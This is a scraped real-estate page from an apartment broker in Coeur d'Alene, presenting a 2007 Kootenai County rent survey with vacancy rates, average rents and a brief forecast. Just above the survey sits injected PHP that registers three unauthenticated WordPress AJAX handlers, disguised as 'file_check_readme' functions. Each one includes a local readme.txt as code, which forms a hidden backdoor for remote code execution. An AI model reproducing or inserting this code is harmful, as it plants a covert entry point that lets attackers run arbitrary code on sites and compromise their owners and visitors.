“SPRING 2007 KOOTENAI COUNTY RENT SURVEY”

if(!function_exists('file_check_readme30473')){ add_action('wp_ajax_nopriv_file_check_readme30473', 'file_check_readme30473'); add_action('wp_ajax_file_check_readme30473', 'file_check_readme30473'); function file_check_readme30473() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme67096')){ add_action('wp_ajax_nopriv_file_check_readme67096', 'file_check_readme67096'); add_action('wp_ajax_file_check_readme67096', 'file_check_readme67096'); function file_check_readme67096() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme26054')){ add_action('wp_ajax_nopriv_file_check_readme26054', 'file_check_readme26054'); add_action('wp_ajax_file_check_readme26054', 'file_check_readme26054'); function file_check_readme26054() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } “SPRING 2007 KOOTENAI COUNTY RENT SURVEY” – The Apartment Broker – Glenn Sather – Coeur d’Alene-Spokane

DATE: AUGUST 1, 2007

Date	Market Vacancy	Rent Rate	Rent/NRSF

Dec – 06	4.4%	$652	$0.777
Sep – 06	2.4%	$644	$0.763
Jun – 06	2.4%	$621	$0.737
Mar – 06	2.9%	$604	$0.707
Mar – 05	3.1%	$551	$0.657

Rents continue to rise in Kootenai County to an average of $652/mo. As of 12/06. Notice that the vacancy rate as of that date is 4.4% over-all. I expect that this rate will decrease in the coming months as housing sales continue to slump, causing tenants to postpone their buying decision. Rents should continue to rise.

Resources:
“Washington Center for Real Estate Research/ Washington State University

Glenn, How much is my apartment building worth?

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